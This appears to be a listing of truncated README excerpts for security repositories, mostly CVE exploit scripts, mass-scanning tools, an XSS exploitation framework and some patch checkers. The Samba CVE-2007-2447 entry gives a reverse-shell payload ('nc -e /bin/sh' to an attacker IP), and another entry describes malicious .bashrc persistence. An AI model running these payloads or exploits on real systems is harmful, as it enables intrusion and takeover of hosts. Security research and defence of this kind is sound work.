pulsexploit

pulsexploit 用于利用 Pulse Secure SSL VPN 漏洞（CVE-2019-11510 apikey = '' Shodan search query edit this, but don't remove the html and port searchquery = 'html:"/dana/" port:"443"' 使用方法 python3 pulsexploit.py -t 免责声明 此脚本仅用于渗透测试和安全研究，如果你将其用于非法活动，我将不承担任何责任。...

CVE-2017-4490-install-Script-Python-in-Terminal-

CVE-2017-4490-在终端中安装脚本Python- 什么是CVE-2017-4490 后渗透，== 来吧，我的漏洞利用想法，.bashrc在使用许多有害的想法 1. 在终端中使用.bashrc安装Script脚本webdeilvary 2. 在终端中销毁并显示恐怖文本 3. 颠覆并无法重新打开终端 下载脚本安装脚本webdeilvary git clone...

URLCADIZ

URLCADIZ v1.0 作者：https://github.com/PerezMascato 推特：https://twitter.com/perezmascato 电子邮件：[email protected]（不……我没被入侵！） 一个用于生成社交工程隐藏URL的简单脚本。 法律免责声明： 使用URLCADIZ攻击未经双方事先同意的目标是违法的。最终用户有责任遵守所有适用的地方、州和联邦法律。开发者不承担任何责任，并且不对因使用本程序造成的任何滥用或损害负责。 安装（在Kali Linux 2020.2上测试）： git clone...

CVE-2007-2447-in-Python

CVE-2007-2447 - Python 实现 描述 针对 Samba 3.0.20 IP - 远程机器的 IP 地址。 PORT - （可选）SMB 运行的端口。 PAYLOAD - 要在远程机器上执行的有效载荷，例如反弹 shell。 示例： python3 smbExploit.py 192.168.1.2 139 'nc -e /bin/sh 192.168.1.1 4444' python3 smbExploit.py 192.168.1.2 'nc -e /bin/sh 192.168.1.1 4444' 参考资料 CVE-2007-2447：远程命令注入漏洞 Samba...

CVE-2020-10204

CVE-2020-10204 CVE-2020-10204 远程命令执行脚本 更多脚本文件另参：https://github.com/zhzyker/exphub Readme +---------------------------------------------------------------------------------------------------------+ + DES: by zhzyker as https://github.com/zhzyker/exphub + + CVE-2020-10204 Nexus Repository Manager 3...

CVE-2020-5902-fofa-scan

CVE-2020-5902-fofa-scan 介绍 F5 BIG-IP 远程代码执行漏洞CVE-2020-5902，fofa扫描脚本 利用条件 fofa会员，填入fofaproarssession的值。 自行修改 12行keyword值。 自行修改 17行页数范围 本文公开的方法和脚本仅供学习和研究使用，任何团队和个人不得使用本文披露的相关内容从事违法网络攻击活动，否则造成的一切后果由使用者本人承担与本文作者无关。...

CVE-2021-34045

CVE-2021-34045 druid未授权访问批量扫描poc 工具利用 python3 CVE-2021-34045.py -u http://127.0.0.1:1111 单个url测试 python3 CVE-2021-34045.py -f url.txt 批量检测 免责声明 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，作者不为此承担任何责任。...

CVE-2014-4688-NodeJs-Exploit

CVE-2014-4688 sudo node --no-warnings exploit.js...

httprobe

httprobe Take a list of domains and probe for working http and https servers. Install ▶ go install github.com/tomnomnom/httprobe@latest Basic Usage httprobe accepts line-delimited domains on stdin: ▶ cat recon/example/domains.txt example.com example.edu example.net ▶ cat recon/example/domains.txt...

toxssin

toxssin Purpose toxssin is an open-source penetration testing tool that automates the process of exploiting Cross-Site Scripting XSS vulnerabilities. It consists of an https server that works as an interpreter for the traffic generated by the malicious JavaScript payload that powers this tool...

FuxiOS

FuxIOS.py v2.0 - CVE-2016-4631 漏洞验证程序 📌 个人说明 2025 为什么我现在发布这个？ 在整理旧硬盘和被遗忘的代码仓库时，我发现了这个脚本——那是多年前我刚踏入网络安全行业时编写的。那是一个不同的时代：Python 2.7 占据主流，像 CVE-2016-4631 这样的漏洞层出不穷，每个能运行的 PoC 都像是一次小小的胜利。 时隔多年再次看到这段代码，我不禁感到怀旧。我回忆起那些调试漏洞的夜晚，看到"Payload sent...

CVE-2019-0708-Check-Device-Patch-Status

CVE-2019-0708-漏洞扫描器 用于运行并判断特定设备是否已针对CVE-2019-0708进行修补的Powershell脚本。该脚本检查termdd.sys文件是否已正确更新，且版本级别是否达到或高于2019年5月14日补丁中发布的版本。 所有termdd.sys版本已由Qualys确认。 https://www.qualys.com/research/security-alerts/2019-05-14/microsoft/ “针对CVE-2019-0708 以下版本的termdd.sys及其对应的KB已得到验证： KB4500331 - 5.1.2600.7701,...

CVE-2007-2447

CVE-2007-2447 🖥️ -h3x0v3rl0rd- ️⃣ CVE-2007-2447 python3 smb3.0.20.py -lh localhost -lp local port -t target 错误 你遇到的错误表明 Python 脚本试图导入一个名为 smb 的模块，但你的系统上没有安装该模块。smb 模块属于 pysmb 库，用于与 SMB/CIFS 服务器交互。 要解决这个问题，你需要安装 pysmb 库。可以使用 pip 来完成，具体步骤如下： 1. 安装 pysmb： pip3 install pysmb 2. 验证安装：安装后，可以通过运行以下命令验证...

Solr_CVE-2019-17558

SolrCVE-2019-17558 使用: python3 SolrCVE-2019-17558.py url whoami...

CVE-Tracker

CVE-Tracker 借助此自动化脚本，你将永远不会错过最新发布的CVE。这个PowerShell脚本的作用是在系统启动时运行Microsoft Edge，导航到两个URL，并将浏览器设置为全屏模式。 作为道德黑客，跟踪最新发布的CVE至关重要，这样才能全面了解互联网上出现的新威胁或漏洞。实际上，这是我们日常工作中的常规任务。那么，为什么不将打开浏览器并检查新CVE的整个过程自动化呢？该工具的目的就是通过PowerShell脚本来自动化这个流程。 在众多发布新CVE的在线来源中，我选择了以下两个URL，并将其集成到脚本中。 URLs --- https://cvetrends.com/...

DCOMrade

DCOMrade DCOMrade 是一个 PowerShell 脚本，用于枚举可能允许横向移动、代码执行、数据泄露等的潜在易受攻击的 DCOM 应用程序。该脚本基于 PowerShell 2.0 构建，但也适用于所有更高版本。目前支持以下 Windows 操作系统（包括 x86 和 x64）： Microsoft Windows 7 Microsoft Windows 10 Microsoft Windows Server 2012 / 2012 R2 Microsoft Windows Server 2016 背景 我目前在 HackDefense 实习，研究现有的 DCOM...

CVE-2017-8759

CVE-2017-8759 本仓库包含 CVE-2017-8759（Microsoft PowerPoint）的示例利用代码，并描述了类似漏洞过去是如何、以及未来可能如何通过相同技术被利用的。 背景 发布本仓库的目的是强调防御者目前可能尚未意识到的替代利用技术。通过强调这些替代技术，我们希望帮助防御者实施稳健的检测，并避免误报（例如将其他 moniker 利用错误识别为 CVE-2017-0199）和漏报（例如只关注 RTF 检测）。 早在四月份，当我听说一个新的未修补漏洞正在野外被利用时，我尝试重新创建该利用，以便在漏洞公开之前预先制定检测规则。然而，当时我手头只有 FireEye 和...

dotnetpaddingoracle

dotnetpaddingoracle 用于检查 .NET Web 应用程序是否存在 padding Oracle 漏洞的小脚本。 该脚本会实际验证 oracle 是否存在且可利用，而不仅仅是检查补丁是否已安装。 用法 dotnetpaddingoracle.py -h -t -b -d -s -p PARAMETER Burp request file Perform the padding Oracle attack on .NET web application positional arguments: Burp request file Request sample from...

PwnBox-Kali

PwnBox-Kali 用于自动化新 Kali Linux 虚拟机设置流程的 Bash 脚本，使其外观类似 HTB PwnBox 只是一个用于自动化新 Kali Linux 虚拟机上调整与工具安装整个流程的脚本 这个脚本主要是为我自己写的，但也许有人会觉得它有用 部分代码借鉴自 Dewalt-arch 在 pimpmykali 上的出色工作 同时也基于 theGuildHall 的工作，来自动化使其外观类似 HTB pwnbox 的流程 调整指南...

Jetleak-Testing-Script

Jetleak 测试脚本 此工具旨在为组织提供一种快速简易的方法，用于测试其 Jetty Web 服务器版本是否存在 JetLeak 漏洞。目前，此脚本不处理具有无效 SSL 证书的站点。这将在未来的迭代中修复。 有关 Jetleak 漏洞的更多详细信息，请参阅我们的博客文章： http://blog.gdssecurity.com/labs/2015/2/25/jetleak-vulnerability-remote-leakage-of-shared-buffers-in-je.html 示例用法：python jetleaktester.py url port...